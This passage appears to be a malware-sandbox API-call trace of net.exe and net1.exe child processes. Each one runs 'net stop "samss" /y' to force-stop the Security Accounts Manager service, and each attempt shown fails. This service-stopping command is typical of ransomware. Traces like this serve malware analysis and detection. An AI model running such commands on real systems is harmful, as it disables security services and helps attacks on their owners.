	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 750
	os_tid = 0x12b4

	[0175.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fa50 | out: lpSystemTimeAsFileTime=0x14fa50*(dwLowDateTime=0x38c7fcf0, dwHighDateTime=0x1d5cdef)) 
	[0175.186] GetCurrentProcessId () returned 0x12b0
	[0175.186] GetCurrentThreadId () returned 0x12b4
	[0175.186] GetTickCount () returned 0x11719b9
	[0175.186] QueryPerformanceCounter (in: lpPerformanceCount=0x14fa58 | out: lpPerformanceCount=0x14fa58*=31693894013) returned 1
	[0175.187] GetModuleHandleW (lpModuleName=0x0) returned 0xffc20000
	[0175.187] __set_app_type (_Type=0x1) 
	[0175.188] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc39c9c) returned 0x0
	[0175.188] __getmainargs (in: _Argc=0xffc44780, _Argv=0xffc44790, _Env=0xffc44788, _DoWildCard=0, _StartInfo=0xffc4479c | out: _Argc=0xffc44780, _Argv=0xffc44790, _Env=0xffc44788) returned 0
	[0175.189] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0175.189] GetConsoleOutputCP () returned 0x1b5
	[0175.190] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffc4cec0 | out: lpCPInfo=0xffc4cec0) returned 1
	[0175.190] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0175.387] sprintf_s (in: _DstBuf=0x14f9f8, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0175.388] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0175.393] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0175.393] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0175.393] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0175.394] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14f790, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0175.394] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x6e) returned 0x1cc060
	[0175.394] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0175.395] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x14f9e8 | out: Buffer=0x14f9e8*=0x1c4d40) returned 0x0
	[0175.395] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x14f9e8 | out: Buffer=0x14f9e8*=0x1cc0e0) returned 0x0
	[0175.395] _fileno (_File=0x7fefe122a80) returned 0
	[0175.395] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0175.396] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0175.396] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0175.396] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0175.396] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0175.396] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0175.396] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0175.396] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0175.396] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0175.396] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0175.396] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0175.397] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0175.397] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0175.397] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0175.397] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0175.397] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0175.397] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0175.397] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0175.397] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0175.397] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0175.397] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0175.397] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0175.398] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0175.398] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0175.398] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0175.398] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0175.398] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0175.398] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0175.398] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0175.398] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0175.398] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0175.398] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0175.398] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0175.398] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0175.398] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0175.398] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0175.399] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0175.399] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0175.399] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0175.399] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0175.399] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0175.399] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0175.399] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0175.399] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0175.399] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0175.399] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0175.399] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0175.399] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0175.399] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0175.399] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0175.399] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0175.400] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0175.400] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0175.400] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0175.400] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0175.400] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0175.400] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0175.400] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0175.400] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0175.400] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0175.400] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0175.400] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0175.400] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0175.400] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0175.401] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0175.401] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0175.401] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0175.402] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x1ccdf0
	[0175.605] GetServiceKeyNameW (in: hSCManager=0x1ccdf0, lpDisplayName="SAMSS", lpServiceName=0xffc45750, lpcchBuffer=0x14f908 | out: lpServiceName="", lpcchBuffer=0x14f908) returned 0
	[0175.610] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0175.611] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0175.611] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0175.611] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0175.611] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0175.611] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0175.611] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0175.611] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0175.611] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0175.611] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0175.611] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0175.611] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0175.611] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0175.611] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0175.612] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0175.612] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0175.612] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0175.612] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0175.612] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0175.612] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x14f910 | out: bufptr=0x14f910) returned 0x0
	[0175.619] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x14f8c8 | out: Buffer=0x14f8c8*=0x1d0c70) returned 0x0
	[0175.619] OpenServiceW (hSCManager=0x1ccdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x1cce50
	[0175.620] QueryServiceStatus (in: hService=0x1cce50, lpServiceStatus=0x14f870 | out: lpServiceStatus=0x14f870*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0175.620] NetApiBufferFree (Buffer=0x1d0c70) returned 0x0
	[0175.621] CloseServiceHandle (hSCObject=0x1cce50) returned 1
	[0175.622] wcscpy_s (in: _Destination=0xffc480d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0175.622] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74570000
	[0175.623] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74570000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xffc45b50, nSize=0x800, Arguments=0xffc47f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0175.629] GetFileType (hFile=0xb) returned 0x2
	[0175.630] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14f768 | out: lpMode=0x14f768) returned 1
	[0175.631] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffc45b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x14f760, lpReserved=0x0 | out: lpBuffer=0xffc45b50*, lpNumberOfCharsWritten=0x14f760*=0x47) returned 1
	[0175.632] GetFileType (hFile=0xb) returned 0x2
	[0175.632] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14f768 | out: lpMode=0x14f768) returned 1
	[0175.633] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffc21efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x14f760, lpReserved=0x0 | out: lpBuffer=0xffc21efc*, lpNumberOfCharsWritten=0x14f760*=0x2) returned 1
	[0175.634] _ultow (in: _Dest=0x88f, _Radix=1374160 | out: _Dest=0x88f) returned="2191"
	[0175.634] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xffc45b50, nSize=0x800, Arguments=0xffc47f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0175.634] GetFileType (hFile=0xb) returned 0x2
	[0175.635] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14f768 | out: lpMode=0x14f768) returned 1
	[0175.636] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffc45b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x14f760, lpReserved=0x0 | out: lpBuffer=0xffc45b50*, lpNumberOfCharsWritten=0x14f760*=0x34) returned 1
	[0175.637] GetFileType (hFile=0xb) returned 0x2
	[0175.637] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14f768 | out: lpMode=0x14f768) returned 1
	[0175.638] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffc21efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x14f760, lpReserved=0x0 | out: lpBuffer=0xffc21efc*, lpNumberOfCharsWritten=0x14f760*=0x2) returned 1
	[0175.639] NetApiBufferFree (Buffer=0x1c4d40) returned 0x0
	[0175.639] NetApiBufferFree (Buffer=0x1cc0e0) returned 0x0
	[0175.640] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0175.640] exit (_Code=2) 

Process:
	id = "44"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x287bf000"
	os_pid = "0x14a8"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 960
	os_tid = 0x14ac


Process:
	id = "45"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x2a387000"
	os_pid = "0x1558"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1000
	os_tid = 0x155c


Process:
	id = "46"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x290a7000"
	os_pid = "0x1584"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "44"
	os_parent_pid = "0x14a8"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1007
	os_tid = 0x1588

	[0187.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f7f0 | out: lpSystemTimeAsFileTime=0x24f7f0*(dwLowDateTime=0x405e5ef0, dwHighDateTime=0x1d5cdef)) 
	[0187.926] GetCurrentProcessId () returned 0x1584
	[0187.926] GetCurrentThreadId () returned 0x1588
	[0187.926] GetTickCount () returned 0x1174b72
	[0187.926] QueryPerformanceCounter (in: lpPerformanceCount=0x24f7f8 | out: lpPerformanceCount=0x24f7f8*=32967913155) returned 1
	[0187.927] GetModuleHandleW (lpModuleName=0x0) returned 0xffbe0000
	[0187.927] __set_app_type (_Type=0x1) 
	[0187.927] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffbf9c9c) returned 0x0
	[0187.928] __getmainargs (in: _Argc=0xffc04780, _Argv=0xffc04790, _Env=0xffc04788, _DoWildCard=0, _StartInfo=0xffc0479c | out: _Argc=0xffc04780, _Argv=0xffc04790, _Env=0xffc04788) returned 0
	[0187.928] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0187.929] GetConsoleOutputCP () returned 0x1b5
	[0187.929] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffc0cec0 | out: lpCPInfo=0xffc0cec0) returned 1
	[0187.930] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0187.937] sprintf_s (in: _DstBuf=0x24f798, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0187.938] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0187.942] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0187.942] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0187.942] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0187.942] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24f530, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0187.942] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x6e) returned 0x34c060
	[0187.943] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0187.943] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x24f788 | out: Buffer=0x24f788*=0x344d40) returned 0x0
	[0187.943] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x24f788 | out: Buffer=0x24f788*=0x34c0e0) returned 0x0
	[0187.943] _fileno (_File=0x7fefe122a80) returned 0
	[0187.943] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0187.944] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0187.944] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0187.944] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0187.944] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0187.944] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0187.944] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0187.944] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0187.944] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0187.944] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0187.945] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0187.945] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0187.945] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0187.945] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0187.945] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0187.945] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0187.945] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0187.945] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0187.945] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0187.945] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0187.945] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0187.945] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0187.946] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0187.946] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0187.946] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0187.946] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0187.946] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0187.946] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0187.946] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0187.946] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0187.946] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0187.946] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0187.946] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0187.946] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0187.947] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0187.947] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0187.947] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0187.947] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0187.947] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0187.947] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0187.947] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0187.947] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0187.947] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0187.947] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0187.947] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0187.947] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0187.947] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0187.947] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0187.948] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0187.948] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0187.948] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0187.948] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0187.948] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0187.948] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0188.230] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0188.230] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0188.230] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0188.230] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0188.230] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0188.230] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0188.230] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0188.230] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0188.230] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0188.231] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0188.231] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0188.231] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0188.231] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0188.232] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x34cdf0
	[0188.244] GetServiceKeyNameW (in: hSCManager=0x34cdf0, lpDisplayName="SAMSS", lpServiceName=0xffc05750, lpcchBuffer=0x24f6a8 | out: lpServiceName="", lpcchBuffer=0x24f6a8) returned 0
	[0188.253] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0188.253] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0188.253] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0188.253] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0188.253] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0188.253] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0188.254] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0188.254] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0188.254] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0188.254] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0188.254] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0188.254] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0188.254] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0188.254] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0188.254] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0188.254] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0188.254] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0188.254] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0188.254] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0188.255] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x24f6b0 | out: bufptr=0x24f6b0) returned 0x0
	[0188.264] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x24f668 | out: Buffer=0x24f668*=0x350c70) returned 0x0
	[0188.264] OpenServiceW (hSCManager=0x34cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x34ce50
	[0188.265] QueryServiceStatus (in: hService=0x34ce50, lpServiceStatus=0x24f610 | out: lpServiceStatus=0x24f610*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0188.265] NetApiBufferFree (Buffer=0x350c70) returned 0x0
	[0188.266] CloseServiceHandle (hSCObject=0x34ce50) returned 1
	[0188.266] wcscpy_s (in: _Destination=0xffc080d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0188.267] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0188.268] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xffc05b50, nSize=0x800, Arguments=0xffc07f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0188.272] GetFileType (hFile=0xb) returned 0x2
	[0188.273] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24f508 | out: lpMode=0x24f508) returned 1
	[0188.274] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffc05b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x24f500, lpReserved=0x0 | out: lpBuffer=0xffc05b50*, lpNumberOfCharsWritten=0x24f500*=0x47) returned 1
	[0188.275] GetFileType (hFile=0xb) returned 0x2
	[0188.277] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24f508 | out: lpMode=0x24f508) returned 1
	[0188.504] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffbe1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x24f500, lpReserved=0x0 | out: lpBuffer=0xffbe1efc*, lpNumberOfCharsWritten=0x24f500*=0x2) returned 1
	[0188.505] _ultow (in: _Dest=0x88f, _Radix=2422128 | out: _Dest=0x88f) returned="2191"
	[0188.505] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xffc05b50, nSize=0x800, Arguments=0xffc07f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0188.506] GetFileType (hFile=0xb) returned 0x2
	[0188.506] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24f508 | out: lpMode=0x24f508) returned 1
	[0188.507] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffc05b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x24f500, lpReserved=0x0 | out: lpBuffer=0xffc05b50*, lpNumberOfCharsWritten=0x24f500*=0x34) returned 1
	[0188.508] GetFileType (hFile=0xb) returned 0x2
	[0188.509] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x24f508 | out: lpMode=0x24f508) returned 1
	[0188.511] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffbe1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x24f500, lpReserved=0x0 | out: lpBuffer=0xffbe1efc*, lpNumberOfCharsWritten=0x24f500*=0x2) returned 1
	[0188.512] NetApiBufferFree (Buffer=0x344d40) returned 0x0
	[0188.512] NetApiBufferFree (Buffer=0x34c0e0) returned 0x0
	[0188.512] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0188.512] exit (_Code=2) 

Process:
	id = "47"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x29c6f000"
	os_pid = "0x1634"
